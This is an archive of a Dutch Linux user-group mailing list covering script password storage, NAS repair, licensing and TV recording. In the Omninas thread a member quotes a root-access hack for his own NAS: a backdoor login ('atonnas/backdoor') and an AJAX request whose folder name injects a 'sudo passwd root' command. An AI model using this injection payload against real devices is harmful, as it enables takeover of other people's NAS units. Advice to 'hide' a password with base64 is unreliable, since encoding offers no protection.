From j.j.paijmans op gmail.com Fri Dec 6 09:42:59 2019 From: j.j.paijmans op gmail.com (paai) Date: Fri, 6 Dec 2019 09:42:59 +0100 Subject: [linux] password vraag Message-ID: Hallo, ik heb diverse scripts waarin een password nodig is, hetzij van de user, hetzij van een externe dienst, zoals gmail. Ik weet dat het geen goed idee is zulke passwords als strings in het script te zetten, maar ik word ook een beetje moe van het steeds maar opnieuw intypen. Vraag: wat is een goede (hoeft niet noodzakelijk de beste te zijn) en werkbare strategie om passwords in scripts te gebruiken? Paai -- Dr J.J. Paijmans paijmans.net v.a. Danzig From rinux op xloof.nl Fri Dec 6 10:39:27 2019 From: rinux op xloof.nl (Rinus Loof) Date: Fri, 6 Dec 2019 10:39:27 +0100 Subject: [linux] password vraag In-Reply-To: References: Message-ID: <778d3d85-30dc-7c93-71d9-9745d259046f@xloof.nl> Op 06-12-2019 om 09:42 schreef paai: > Hallo, > > ik heb diverse scripts waarin een password nodig is, hetzij van de > user, hetzij van een externe dienst, zoals gmail. Ik weet dat het geen > goed idee is zulke passwords als strings in het script te zetten, maar > ik word ook een beetje moe van het steeds maar opnieuw intypen. > > Vraag: wat is een goede (hoeft niet noodzakelijk de beste te zijn) en > werkbare strategie om passwords in scripts te gebruiken? > > Paai > Volgens mij is dit op te lossen door het wachtwoord in een file op te slaan: Hieronder een voorbeeld uit een post over dit onderwerp. 10 I used base64 for the overcoming the same problem, i.e. people can see my password over my shoulder. Here is what I did - I created a new "db_auth.cfg" file and created parameters with one being my db password. I set the permission as 750 for the file. |DB_PASSWORD=Z29vZ2xl| In my shell script I used the "source" command to get the file and then decode it back to use in my script. |source path_to_the_file/db_auth.cfg DB_PASSWORD=$(evalecho ${DB_PASSWORD}|base64 --decode)| I hope this helps. ------------- volgend deel ------------ Een HTML-bijlage is gescrubt... URL: From jjge op xs4all.nl Fri Dec 6 12:25:01 2019 From: jjge op xs4all.nl (jjge) Date: Fri, 6 Dec 2019 12:25:01 +0100 Subject: [linux] password vraag In-Reply-To: References: Message-ID: <7c4ea423-a9d0-751d-aa36-541b7bbc2459@xs4all.nl> On 12/6/19 9:42 AM, paai wrote: > Hallo, > > ik heb diverse scripts waarin een password nodig is, hetzij van de > user, hetzij van een externe dienst, zoals gmail. Ik weet dat het geen > goed idee is zulke passwords als strings in het script te zetten, maar > ik word ook een beetje moe van het steeds maar opnieuw intypen. > > Vraag: wat is een goede (hoeft niet noodzakelijk de beste te zijn) en > werkbare strategie om passwords in scripts te gebruiken? > > Paai > > Je kunt het password in een file zetten, met read access alleen voor de eigenaar. From asmuth op bakunin.xs4all.nl Fri Dec 6 12:49:49 2019 From: asmuth op bakunin.xs4all.nl (Daniel C. von Asmuth) Date: Fri, 6 Dec 2019 12:49:49 +0100 Subject: [linux] password vraag In-Reply-To: References: Message-ID: <20191206114949.GA6448@bakunin.xs4all.nl> Aldus schreef paai op Fri, Dec 06, 2019 at 09:42:59AM +0100: > > ik heb diverse scripts waarin een password nodig is, hetzij van de user, > hetzij van een externe dienst, zoals gmail. Ik weet dat het geen goed idee > is zulke passwords als strings in het script te zetten, maar ik word ook een > beetje moe van het steeds maar opnieuw intypen. > > Vraag: wat is een goede (hoeft niet noodzakelijk de beste te zijn) en > werkbare strategie om passwords in scripts te gebruiken? Voor zover ik weet is er geen goede strategie. Je kunt wachtwoorden in een bestand zetten dat verder voor niemand leesbaar is en je kunt ze versleutelen, maar daarvoor heb je een nieuw wachtwoord nodig. Iemand met 'root' privileges kan overal bij. Je kunt een dongle gebruiken als sleutel. Met vriendelijke groet, Daniel von Asmuth -- if at first you don't succeed keep rubbing till your fingers bleed From marceln op pion.xs4all.nl Fri Dec 6 19:12:50 2019 From: marceln op pion.xs4all.nl (Marcel Nijenhof) Date: Fri, 06 Dec 2019 19:12:50 +0100 Subject: [linux] password vraag In-Reply-To: References: Message-ID: Hoi Hans, > > Vraag: wat is een goede (hoeft niet noodzakelijk de beste te zijn) > en werkbare strategie om passwords in scripts te gebruiken? > keyring + secret-tool! https://lzone.de/blog/Using+Linux+keyring+secrets+from+your+scripts -- marceln From j.j.paijmans op gmail.com Sat Dec 7 08:58:27 2019 From: j.j.paijmans op gmail.com (paai) Date: Sat, 7 Dec 2019 08:58:27 +0100 Subject: [linux] password vraag In-Reply-To: References: Message-ID: On 06-12-19 19:12, Marcel Nijenhof wrote: > Hoi Hans, > >> Vraag: wat is een goede (hoeft niet noodzakelijk de beste te zijn) >> en werkbare strategie om passwords in scripts te gebruiken? >> > keyring + secret-tool! > > https://lzone.de/blog/Using+Linux+keyring+secrets+from+your+scripts > Ik ga dit ook uitproberen. Dank. Paai From j.j.paijmans op gmail.com Sat Dec 7 09:47:55 2019 From: j.j.paijmans op gmail.com (paai) Date: Sat, 7 Dec 2019 09:47:55 +0100 Subject: [linux] password vraag In-Reply-To: References: Message-ID: <78413b53-bb61-d78e-c1a4-9b7071194354@gmail.com> On 07-12-2019 08:58, paai wrote: > > On 06-12-19 19:12, Marcel Nijenhof wrote: >> Hoi Hans, >> >>> Vraag: wat is een goede (hoeft niet noodzakelijk de beste te zijn) >>> en werkbare strategie om passwords in scripts te gebruiken? >>> >> keyring + secret-tool! >> >> https://lzone.de/blog/Using+Linux+keyring+secrets+from+your+scripts >> > > Ik ga dit ook uitproberen. Dank. Ca ne marche pas. Ik heb een KDE distro, maar gnome-keyring is installed. Als ik probeer een password op te slaan met: $ sudo secret-tool store --label mijnlabel paai mijnpassword waarbij de user uiteraard 'paai' is en 'mijnpassword' het password van paai op deze machine, krijg ik (secret-tool:13852): GLib-GObject-CRITICAL **: 09:36:04.451: g_object_unref: assertion 'G_IS_OBJECT (object)' failed secret-tool: Error calling StartServiceByName for org.freedesktop.secrets: Timeout was reached Als ik het zonder 'sudo' doe, word ik alsnog om een password gebvraagd. Ik geef paai's password en dan krijg ik de melding ** Message: 09:40:50.081: Remote error from secret service: org.freedesktop.DBus.Error.UnknownMethod: No such interface 'org.freedesktop.Secret.Collection' on object at path /org/freedesktop/secrets/collection/login secret-tool: No such interface 'org.freedesktop.Secret.Collection' on object at path /org/freedesktop/secrets/collection/login Kijkend op github voor deze meldingen krijg ik niet veel nuttigs te zien/horen. Wel moet ik bekennen dat ik nooit keyrings gebruik, ook de KDE variant niet, dus ik mis vast iets. Paai From stappers op stappers.nl Sat Dec 7 14:37:01 2019 From: stappers op stappers.nl (Geert Stappers) Date: Sat, 7 Dec 2019 14:37:01 +0100 Subject: [linux] password vraag In-Reply-To: <78413b53-bb61-d78e-c1a4-9b7071194354@gmail.com> References: <78413b53-bb61-d78e-c1a4-9b7071194354@gmail.com> Message-ID: <20191207133701.3rzx737dfhgkxdyp@gpm.stappers.nl> On Sat, Dec 07, 2019 at 09:47:55AM +0100, paai wrote: > > On 07-12-2019 08:58, paai wrote: > > > > On 06-12-19 19:12, Marcel Nijenhof wrote: > > > Hoi Hans, > > > > > > > Vraag: wat is een goede (hoeft niet noodzakelijk de beste te zijn) > > > > en werkbare strategie om passwords in scripts te gebruiken? > > > > > > > keyring + secret-tool! > > > > > > https://lzone.de/blog/Using+Linux+keyring+secrets+from+your+scripts > > > > > > > Ik ga dit ook uitproberen. Dank. > > > Ca ne marche pas. > > Ik heb een KDE distro, maar gnome-keyring is installed. Als ik probeer een > password op te slaan met: > > $ sudo secret-tool store --label mijnlabel paai mijnpassword > > waarbij de user uiteraard 'paai' is en 'mijnpassword' het password van paai > op deze machine, krijg ik > > (secret-tool:13852): GLib-GObject-CRITICAL **: 09:36:04.451: g_object_unref: > assertion 'G_IS_OBJECT (object)' failed > secret-tool: Error calling StartServiceByName for org.freedesktop.secrets: > Timeout was reached > > > Als ik het zonder 'sudo' doe, word ik alsnog om een password gebvraagd. Ik > geef paai's password en dan krijg ik de melding > > ** Message: 09:40:50.081: Remote error from secret service: > org.freedesktop.DBus.Error.UnknownMethod: No such interface > 'org.freedesktop.Secret.Collection' on object at path > /org/freedesktop/secrets/collection/login > secret-tool: No such interface 'org.freedesktop.Secret.Collection' on object > at path /org/freedesktop/secrets/collection/login > > Kijkend op github voor deze meldingen krijg ik niet veel nuttigs te > zien/horen. Wel moet ik bekennen dat ik nooit keyrings gebruik, ook de KDE > variant niet, dus ik mis vast iets. Net als in het echte leven missen we heel veel, het zij zo. Terug naar het oorspronkelijke probleem: password in scripts. Voorbeeld whysql -u username -p g3h31M db9 wil je scripten als whysql -u ${LOGNAME} -p $( cat ~/.bestandWW_db9 ) db9 In ~/.bestandWW_db9 staan dan niet meer als 'g3h31M' en heeft file permissies van "owner only". Om te voorkomen dat je meerdere van die wachtwoordbestanden gaat krijgen wil een script als #!/bin/sh case "$1" in app1) echo applica7ieA ;; db9) echo g3h31M ;; email) echo postww ;; pz) echo Pr0jectZ0 ;; *) echo tochNogIets ;; esac Met execute permission van owner only. Door het script `ww` te noemen wordt de script regel: whysql -u ${LOGNAME} -p $( ww db9 ) db9 Volgende stap is dat programma (script) en (wachtwoorden) data gescheiden zijn. "secret-tool" is dan het programma en wachtwoorden liggen / zitten in de "keyring". Wat er allemaal klaar moet staan ( en vooral goed met staan ) om iets uit de "keyring" te halen, is nu dus het probleem. Dat probleem heb ik opgelost (danwel omzeilt) door `pass` te gebruiken. `pass` heeft zijn eigen "password store" en heeft die versleutelt m.b.v. GPG ( PGP ) Bij ontsleuteling wordt de `gpg-agent` wakker die dan om gpg wachtwoord vraagt. Als ik dat invoer wordt de "password store" "unlocked". Ja, ik moet dus minimaal 1 wachtwoord onthouden. De `gpg-agent` onthoudt het dan een tijdje. In die tijd kan ik `pass` aanroepen zonder dat ik opnieuw het ene-te-onthouden-wachtwoord in te voeren. Website van pass: https://www.passwordstore.org/ Groeten Geert Stappers -- Leven en laten leven From stappers op stappers.nl Sun Dec 8 11:57:58 2019 From: stappers op stappers.nl (Geert Stappers) Date: Sun, 8 Dec 2019 11:57:58 +0100 Subject: [linux] baudrate 74880 spd_cust divisor In-Reply-To: <20191030210218.GB16867@msgid.wurtel.net> References: <20191029125942.GA10246@msgid.wurtel.net> <20191030073138.GA27725@msgid.wurtel.net> <20191030203805.g3n3zr2fmwgxwmxv@gpm.stappers.nl> <20191030210218.GB16867@msgid.wurtel.net> Message-ID: <20191208105758.7ztn5ynvhinvn4zb@gpm.stappers.nl> On Wed, Oct 30, 2019 at 10:02:18PM +0100, Paul Slootman wrote: > On Wed 30 Oct 2019, Geert Stappers wrote: > > On Wed, Oct 30, 2019 at 08:31:38AM +0100, Paul Slootman wrote: > > > > > > Ik kwam deze nog tegen: > > > > > > setserial -v /dev/ttyUSB0 spd_cust divisor $((24000000/76800)) > > > > > > en dan 38400 baud selecteren, die is dan aangepast naar (ongeveer) > > > 74880. > > > > > > https://www.esp8266.com/viewtopic.php?f=6&t=4016#p23627 > > > > Titel van de thread daar is "Anyone able to read 74880 baud on linux?" > > > > De kleine letters zeggen "For my ftdi board" > > De meeste arduino / esp seriele usb adapters zijn ftdi. Vastwel en uitzonderingen bevestigen de regel :-) Het is echter de arduino / esp die even 74880 baud doet. En dat we opzoek zijn hoe aan Linux kant op 74880 baud te komen. > > We gaan vanzelf zien in hoeverre het bruikbaar is/was > > voor original poster. Ik heb daar nog verwachtingen van. Groeten Geert Stappers -- Leven en laten leven From j.j.paijmans op gmail.com Tue Dec 10 21:18:01 2019 From: j.j.paijmans op gmail.com (paai) Date: Tue, 10 Dec 2019 21:18:01 +0100 Subject: [linux] Omninas, the continuing story Message-ID: <212205c1-49fe-aff2-bb90-cce154efd9ce@gmail.com> Nadat ik vorig jaar met jullie hulp heel, heel diep in de ingewanden van de Ominas (KD20) ben gedoken om het ding weer op poten te krijgen, heeft hij anderhalf jaar goed gefunctioneerd. Afgelopen week kreeg hij weer kuren en het leek me een goed idee de disks opnieuw te formatteren en te configureren. Omdat het twee verschillende disks zijn, en ze niet zo heel erg groot zijn, gebruik ik daarvoor de JBOD setup. Het vreemde is dat het allemaal goed lijkt te werken, maar ergens in het proces is de passwd file verloren gegaan of iets dergelijks. Geen probleem, ik heb een hack om root acces met ssh te krijgen, dus ik kan de Omninas naar believen in en uit wandelen. Een vervelend dingetje: sinds die tijd slaag ik er niet meer in de Omninas te mounten op mijn linux box. Het lijkt of samba niet meer werkt, en samba en ik - we mogen elkaar niet. Een gewoon linux systeem zou ik wel kunnen temmen, maar die Omninas heeft allerlei vreemde configuratiefiles die kris-kras naar elkaar verwijzen en waar ik niks mee kan. Zou iemand me kunnen helpen om dat weer op poten te krijgen? En als we dan zover komen dat samba weer werkt: zou iemand kunnen helpen die JBOD te vervangen door een setup waarin de twee harde disks gewoon gemount worden als ext2,3,4 volumes? -- Dr J.J. Paijmans paijmans.net v.a. Danzig From j.j.paijmans op gmail.com Wed Dec 11 12:26:16 2019 From: j.j.paijmans op gmail.com (paai) Date: Wed, 11 Dec 2019 12:26:16 +0100 Subject: [linux] Omninas, the continuing story In-Reply-To: <212205c1-49fe-aff2-bb90-cce154efd9ce@gmail.com> References: <212205c1-49fe-aff2-bb90-cce154efd9ce@gmail.com> Message-ID: On 10-12-19 21:18, paai wrote: > Nadat ik vorig jaar met jullie hulp heel, heel diep in de ingewanden > van de Ominas (KD20) ben gedoken om het ding weer op poten te krijgen, > heeft hij anderhalf jaar goed gefunctioneerd. Afgelopen week kreeg hij > weer kuren en het leek me een goed idee de disks opnieuw te > formatteren en te configureren. Omdat het twee verschillende disks > zijn, en ze niet zo heel erg groot zijn, gebruik ik daarvoor de JBOD > setup. > > Het vreemde is dat het allemaal goed lijkt te werken, maar ergens in > het proces is de passwd file verloren gegaan of iets dergelijks. Geen > probleem, ik heb een hack om root acces met ssh te krijgen, dus ik kan > de Omninas naar believen in en uit wandelen. > > Een vervelend dingetje: sinds die tijd slaag ik er niet meer in de > Omninas te mounten op mijn linux box. Het lijkt of samba niet meer > werkt, en samba en ik - we mogen elkaar niet. Een gewoon linux systeem > zou ik wel kunnen temmen, maar die Omninas heeft allerlei vreemde > configuratiefiles die kris-kras naar elkaar verwijzen en waar ik niks > mee kan. > > Zou iemand me kunnen helpen om dat weer op poten te krijgen? > > > En als we dan zover komen dat samba weer werkt: zou iemand kunnen > helpen die JBOD te vervangen door een setup waarin de twee harde disks > gewoon gemount worden als ext2,3,4 volumes? > Verder kijkend zie ik dat samba waarschijnlijk niet gestart wordt wegens een error in de smb.conf file(s). Die heeft te maken met de hack die ik gebruikte om root access te krijgen. Die hacjk creeert zo te zien een directory onder /share met de naam 'xxxx'. Na het starten staat daar overigens niets in. MAAR... In elk van de drie smb.conf files is een sectie toegevoegd. Die kan ik weg-editen, en de directory xxxx verwijderen, maar na iedere boot staan ze er weer en ze veroorzaken dus een error in samba de drie files: ./usr/lib/smb.conf ./usr/hddapp/etc/samba/smb.conf ./initrd/etc/samba/smb.conf en de toegevoegde sectie [xxxx; (echo "foobar foobar" | sudo passwd root)] comment = create mask = 0664 directory mask = 0775 force directory mode = 0775 directory security mask = 0775 force directory security mode = 0775 force group = nobody path = /share//xxxx; (echo "foobar foobar" | sudo passwd root) valid users = admin write list = printable = no De gebruike hack om root en ssh te krijgen:    1. start ssh by Semmy/pawlak method: go to http://192.168.xx.xx/admin/ssh.p hp (user/pass: atonnas/backdoor) - check SSH, save;     2. login to your NAS admin page, go to Share->Add folder;     3. open your browser console and execute code:     $.ajax({     type:"POST",     url: 'http://192.168.xx.xx/action/folder_action.php',     cache: false,     data: {     folder_type: "new",     foldername: "xxxx; (echo \"foobar\nfoobar\n\" | sudo passwd root)"     },     success:function(data){     console.log(data)     }     }); -- Dr J.J. Paijmans paijmans.net v.a. Danzig From j.j.paijmans op gmail.com Wed Dec 11 16:35:39 2019 From: j.j.paijmans op gmail.com (paai) Date: Wed, 11 Dec 2019 16:35:39 +0100 Subject: [linux] Omninas, the continuing story In-Reply-To: References: <212205c1-49fe-aff2-bb90-cce154efd9ce@gmail.com> Message-ID: <05f2ea75-1538-a5ee-dda4-c370f745d594@gmail.com> Voor wie de saga verder wil volgen: door een 'grep xxxx *' in /etc heb ik nog twee files gevonden met de hack-veranderingen erin ( nas_conf_db.xml en afp.conf). Nadat ik die had opgeschoond doet in ieder geval Samba het weer. Blijft de vraag hoe ik de twee harde disks in de NAS als gewone ext2/3/4 volumes kan mounten in plaats van een JBOD volume... -- Dr J.J. Paijmans paijmans.net v.a. Danzig From stappers op stappers.nl Thu Dec 12 19:58:56 2019 From: stappers op stappers.nl (HP Fan Boy) Date: Thu, 12 Dec 2019 19:58:56 +0100 Subject: [linux] ext2/3/4 op JBOD Message-ID: <20191212185856.ub2auejrglhszaju@gpm.stappers.nl> In-Reply-To: <05f2ea75-1538-a5ee-dda4-c370f745d594 op gmail.com> Previous-Subject: Re: [linux] Omninas, the continuing story On Wed, Dec 11, 2019 at 04:35:39PM +0100, paai wrote: > > hoe twee harde disks in de NAS als gewone ext2/3/4 > volumes kan mounten in plaats van een JBOD volume... JBOD is op RAID niveau. Een filesystem als ext4 ligt daarboven op. Als het meezit, dan is in de NAS in te stellen: "Hey RAID controller, maak arrays die slechts 1 disk hebben" Hoe die disken dan zichtbaar worden, kan ik niet zeggen. Verwacht /dev/sda, /dev/sdb, /dev/md0, /dev/md1 of zo. En op het "device" dan een filesystem zetten ( `mkfs -t ext4 /dev/md1` ) Groeten Fan Boy -- Hans Paaijmans, Dr Hans Paaijmans, is mijn held. Hij druft te vragen. From stappers op stappers.nl Thu Dec 12 20:01:39 2019 From: stappers op stappers.nl (Geert Stappers) Date: Thu, 12 Dec 2019 20:01:39 +0100 Subject: [linux] Omninas, the continuing story, xxxx In-Reply-To: <05f2ea75-1538-a5ee-dda4-c370f745d594@gmail.com> References: <212205c1-49fe-aff2-bb90-cce154efd9ce@gmail.com> <05f2ea75-1538-a5ee-dda4-c370f745d594@gmail.com> Message-ID: <20191212190139.xbtytc3ckqydmvg6@gpm.stappers.nl> On Wed, Dec 11, 2019 at 04:35:39PM +0100, paai wrote: > > Voor wie de saga verder wil volgen: door een 'grep xxxx *' in /etc heb ik > nog twee files gevonden met de hack-veranderingen erin ( nas_conf_db.xml en > afp.conf). Nadat ik die had opgeschoond doet in ieder geval Samba het weer. > Eigen verandering herkenbaar markeren m.b.v. 'xxxx' is wel een goede tip. Dank je wel. Groeten Geert Stappers -- Leven en laten leven From j.j.paijmans op gmail.com Thu Dec 12 20:15:41 2019 From: j.j.paijmans op gmail.com (paai) Date: Thu, 12 Dec 2019 20:15:41 +0100 Subject: [linux] ext2/3/4 op JBOD In-Reply-To: <20191212185856.ub2auejrglhszaju@gpm.stappers.nl> References: <20191212185856.ub2auejrglhszaju@gpm.stappers.nl> Message-ID: On 12-12-19 19:58, HP Fan Boy wrote: > In-Reply-To: <05f2ea75-1538-a5ee-dda4-c370f745d594 op gmail.com> > Previous-Subject: Re: [linux] Omninas, the continuing story > > On Wed, Dec 11, 2019 at 04:35:39PM +0100, paai wrote: >> hoe twee harde disks in de NAS als gewone ext2/3/4 >> volumes kan mounten in plaats van een JBOD volume... > JBOD is op RAID niveau. Een filesystem als ext4 ligt daarboven op. > > Als het meezit, dan is in de NAS in te stellen: > "Hey RAID controller, maak arrays die slechts 1 disk hebben" Ik ben dol op experimenteren, maar ik heb mezelf al een keer buitengesloten op deze NAS en ben nu heel voorzichtig. Zo zegt de officieele handleiding dat het systeem na twee tot vijf minuten (!) doorstart als er geen HD's in de bays zitten en dat je daarna in ieder geval een enkele disk zou moeten kunnen herkennen en formatteren. Mooi niet; hij wil zonder disks in de bay niet starten, ook niet na een uur. Op een gewoon Linux systeem zou ik gewoon /etc/fstab aanpassen. Maar die embedded linux systemen als deze (zoals  ook Android) maken bij het booten klaarblijkelijk eerst nieuwe volumes in ram aan, en dan allerlei scripts die kriskras door de gemounte volumes naar elkaar verwijzen en zichzelf en elkaar wijzigen... Nee, daar waag ik me op mijn eentje niet aan. (Overigens, na de grote operatie van 2018 heb ik wel drie draadjes voor een terminal naar buiten laten hangen, just in case). From gj op wyna.nl Mon Dec 16 22:25:43 2019 From: gj op wyna.nl (Geert-Jan) Date: Mon, 16 Dec 2019 22:25:43 +0100 Subject: [linux] EUPL vs GPLv3 Message-ID: <12b9e422-3484-a4f9-3d58-6496c6d07513@wyna.nl> Beste Linux gebruikers, Heeft hier iemand ervaring met publiceren onder de EUPL licentie? Wat het is staat hier: https://joinup.ec.europa.eu/collection/eupl/introduction-eupl-licence Mijn vragen hierover:     Wat zijn de belangrijkste verschillen met de GPLv3?     Waarom zou iemand de EUPL gebruiken ipv gewoon de GPLv3?     Is dit ook geschikt voor andere zaken  dan software? (documenten, tekeningen, database modellen, etc) Geert-Jan From gijs op hillenius.net Tue Dec 17 08:32:51 2019 From: gijs op hillenius.net (=?utf-8?Q?G=C4=B3s?= Hillenius) Date: Tue, 17 Dec 2019 08:32:51 +0100 Subject: [linux] EUPL vs GPLv3 In-Reply-To: <12b9e422-3484-a4f9-3d58-6496c6d07513@wyna.nl> (Geert-Jan's message of "Mon, 16 Dec 2019 22:25:43 +0100") References: <12b9e422-3484-a4f9-3d58-6496c6d07513@wyna.nl> Message-ID: <87pngn8l0c.fsf@hillenius.net> On 16 December 2019 22:25 Geert-Jan, wrote: > Beste Linux gebruikers, > > Heeft hier iemand ervaring met publiceren onder de EUPL licentie? een beetje. > Wat het is staat hier: > https://joinup.ec.europa.eu/collection/eupl/introduction-eupl-licence Daar staat ook dat je vragen kan stellen aan de huisjurist. > Mijn vragen hierover: >     Wat zijn de belangrijkste verschillen met de GPLv3? >     Waarom zou iemand de EUPL gebruiken ipv gewoon de GPLv3? >     Is dit ook geschikt voor andere zaken  dan software? (documenten, > tekeningen, database modellen, etc) In een notedop: de EUPL is een fork van de GPL, aangepast aan Europees copyright. Dat je - als Europese overheid - niet naar de VS hoeft te vliegen, om voor een Amerikaanse rechter ... Daar heeft een hele grote groep juristen aan zitten sleutelen, tien jaar terug. Een van de FSF GPLv3 schrijvers vertelde me dat dit onzin is, maar affijn. De EUPL is beschikbaar (vertaald) in 23 EU talen, juridisch identiek. Makkelijker kan het niet, als je een pan-Europees project hebt. Het ding is copyleft, da's vooral om overheden toch nog enig zicht te geven op wie er mee aan de haal gaat. Maar, om hergebruik zo makkelijk mogelijk te maken, zit er een lange lijst van compatibele licenties in, met een clausule die uitlegt hoe je dat kan uitnutten. De EUPL wordt in de EU gebruikt door verschillende overheden, uit mijn hoofd Italie, Spanje, Bulgarije, de EC. Niet altijd, ieder project heeft andere overwegingen.. bijvoorbeeld: een paar weken terug maakte de EC een PHP project open source als BSD-3. Zoals creative commons op hun site uitlegt, software licenties zijn anders dan creative commons licenties, omdat ze iets zeggen over toekomstige contributies. Ofwel: de EUPL is niet echt bedoeld voor documenten, tekeningen, database modellen. De EC gebruikt daar de creative commons 4 voor. -- It was all so different before everything changed. From michkloo op xs4all.nl Tue Dec 17 18:20:20 2019 From: michkloo op xs4all.nl (Julien Michielsen) Date: Tue, 17 Dec 2019 18:20:20 +0100 Subject: [linux] segmentation fault wanneer ik pan wil gebruiken, uiteindelijk succes In-Reply-To: <20191129075210.GA18952@msgid.wurtel.net> References: <20191129075210.GA18952@msgid.wurtel.net> Message-ID: <7a586a4b5096ceedc5507a3eceefda95@xs4all.nl> Paul Slootman schreef op 29-11-2019 08:52: > On Thu 28 Nov 2019, Julien Michielsen wrote: >> >> Hier komt de aankondiging van de Segmentation fault, vergezeld van >> de reden waarom: "at strftime l.c:560 >> <_nl_global_locale>) [] knip Vandaag is het mij gelukt pan op te starten en nieuwsberichten te lezen. Ik heb daarvoor een hint van de pan-lijst gebruikt, die eerder niet werkte, maar vandaag wel. Ik start pan op met een script met de volgende inhoud: env LANG=nl_NL.UTF-8 LC_ALL= pan Dat doet het goed: ik kan nl.wetenschap lezen zonder segmentation faults. De reden dat dit eerder niet werkte is iets waarover ik niet verder denk: dit werkt, en zo is het prima. -- Julien Michielsen julien op michkloo.xs4all.nl From michkloo op xs4all.nl Tue Dec 24 10:35:11 2019 From: michkloo op xs4all.nl (Julien Michielsen) Date: Tue, 24 Dec 2019 10:35:11 +0100 Subject: [linux] tv uitzending opgeslagen op je pc (videorecorder) Message-ID: <67d6d7c6e48f57f7c9fe87f7335e298d@xs4all.nl> In het onderwerp heb ik eigenlijk al de hele vraag gesteld: Met regelmaat gebeurt het dat ik graag een programma op tv wil zien, maar dat ik op dat moment niet kan kijken. Is er een mogelijkheid dit programma met je computer op te slaan en later weer te bekijken? Het antwoord zal wel "ja, natuurlijk" zijn, maar de uitleg hoe dit te bereiken zal - naar ik vrees - een aantal A4-tjes beslaan. Of misschien is het wel makkelijk te vertellen met een verwijzing naar een URL. Is het toch wel lastig, en zijn er nogal wat mensen in geïnteresseerd, dan is het misschien een idee hier een kwartiertje/halfuurtje aan te besteden op een komende bijeenkomst. Of ben ik de enige, hierin geïnteresseerde? Julien -- Julien Michielsen julien op michkloo.xs4all.nl From micha op kovoks.nl Tue Dec 24 10:57:03 2019 From: micha op kovoks.nl (Micha Kersloot) Date: Tue, 24 Dec 2019 10:57:03 +0100 (CET) Subject: [linux] tv uitzending opgeslagen op je pc (videorecorder) In-Reply-To: <67d6d7c6e48f57f7c9fe87f7335e298d@xs4all.nl> References: <67d6d7c6e48f57f7c9fe87f7335e298d@xs4all.nl> Message-ID: <590325096.5426818.1577181423280.JavaMail.zimbra@kovoks.nl> Beste Julien, de meeste tv zenders hebben wel een online portal waar je dingen terug kunt vinden om later te bekijken. Verder gaat de meeste televisie tegenwoordig via settop boxen en daarvan is het lastig om tv signaal af te tappen. Mocht je toch iets willen doen met opnemen enzo, dan kun je bijvoorbeeld bij het https://www.mythtv.org/ project kijken. Met vriendelijke groet, Micha Kersloot [ https://www.kovoks.nl/ ] [ https://www.kovoks.nl/e-mail ] [ https://www.kovoks.nl/ | www.kovoks.nl ] | [ https://www.zimbra-nederland.nl/ | www.zimbra-nederland.nl ] | Volg [ http://twitter.com/kovoks | @kovoks ] op Twitter E [ mailto:micha op kovoks.nl" | micha op kovoks.nl ] T [ tel:+31 (0)345 - 53 29 27 | +31 (0)345 - 53 29 27 ] / 0345 - 53 29 27 A [ https://goo.gl/maps/MrqmTv442tH2 | Belle van Zuylenlaan 1-5 ] | [ https://goo.gl/maps/MrqmTv442tH2 | 4105 JX Culemborg ] KvK 11033334 ----- Oorspronkelijk bericht ----- > Van: "Julien Michielsen" > Aan: "linux" > Verzonden: Dinsdag 24 december 2019 10:35:11 > Onderwerp: [linux] tv uitzending opgeslagen op je pc (videorecorder) > In het onderwerp heb ik eigenlijk al de hele vraag gesteld: > Met regelmaat gebeurt het dat ik graag een programma op tv > wil zien, maar dat ik op dat moment niet kan kijken. Is er > een mogelijkheid dit programma met je computer op te slaan > en later weer te bekijken? > Het antwoord zal wel "ja, natuurlijk" zijn, maar de uitleg > hoe dit te bereiken zal - naar ik vrees - een aantal A4-tjes > beslaan. Of misschien is het wel makkelijk te vertellen met > een verwijzing naar een URL. Is het toch wel lastig, en zijn > er nogal wat mensen in geïnteresseerd, dan is het misschien > een idee hier een kwartiertje/halfuurtje aan te besteden op > een komende bijeenkomst. > Of ben ik de enige, hierin geïnteresseerde? > Julien > -- > Julien Michielsen > julien op michkloo.xs4all.nl ------------- volgend deel ------------ Een niet-tekst bijlage is gescrubt... Naam: smime.p7s Type: application/pkcs7-signature Grootte: 2040 bytes Omschrijving: S/MIME Cryptographic Signature URL : From gj op wyna.nl Tue Dec 24 11:04:40 2019 From: gj op wyna.nl (Geert-Jan) Date: Tue, 24 Dec 2019 10:04:40 +0000 Subject: [linux] tv uitzending opgeslagen op je pc (videorecorder) In-Reply-To: <67d6d7c6e48f57f7c9fe87f7335e298d@xs4all.nl> References: <67d6d7c6e48f57f7c9fe87f7335e298d@xs4all.nl> Message-ID: Hoe kijk je TV is de vraag? Ik kan wel een paar mogelijkheden bedenken waar je naar zou kunnen kijken: - Een harddisk recorder. (Ik had zelf een Humax+Ziggo abbo, die neemt op zonder DRM en draait een open FTP server) - site downloadgemist.nl/ is erg handig - OBS studio kun je goed screen recordings mee maken. Moet je de uitzending natuurlijk wel eerst op je PC kunnen afspelen -- Groeten, Geert-Jan ------------- volgend deel ------------ Een HTML-bijlage is gescrubt... URL: From paul+nospam op wurtel.net Tue Dec 24 13:39:33 2019 From: paul+nospam op wurtel.net (Paul Slootman) Date: Tue, 24 Dec 2019 13:39:33 +0100 Subject: [linux] tv uitzending opgeslagen op je pc (videorecorder) In-Reply-To: <67d6d7c6e48f57f7c9fe87f7335e298d@xs4all.nl> References: <67d6d7c6e48f57f7c9fe87f7335e298d@xs4all.nl> Message-ID: <20191224123933.GC7061@msgid.wurtel.net> On Tue 24 Dec 2019, Julien Michielsen wrote: > In het onderwerp heb ik eigenlijk al de hele vraag gesteld: > Met regelmaat gebeurt het dat ik graag een programma op tv > wil zien, maar dat ik op dat moment niet kan kijken. Is er > een mogelijkheid dit programma met je computer op te slaan > en later weer te bekijken? Ik heb een Enigma2 satelliet ontvanger, waar ook DVB-C tuners in kunnen. Dat laatste is het standaard waarmee op de kabel digitale TV uitzendingen mee verspreid worden. In die tuner heb ik een harde schijf (tegenwoordig een SSD), daarop kan ik dan de programma's opnemen. Vroeger deed ik het via NFS op mijn server, maar een lokale disk is toch iets makkelijker. Ik kijk eigenlijk alleen het journaal live, de rest wordt standaard (veelal automatisch) opgenomen en later bekeken. Met Caiway (mijn TV provider) is het standaard pakket ongecodeerd dus dan is het helemaal geen probleem, anders moet je een CI module + smartcard hebben, of kijken of je het met oscam of cccam lukt (software wat zo'n module emuleert, en wat vaak in verband gebracht wordt met cardsharing maar het is dus ook gewoon te gebruiken om met een smartcard legaal te kijken). Mijn Sony Android TV kan ook op USB opnemen, maar ik heb nooit noodzaak gehad om dat uit te proberen. Paul From 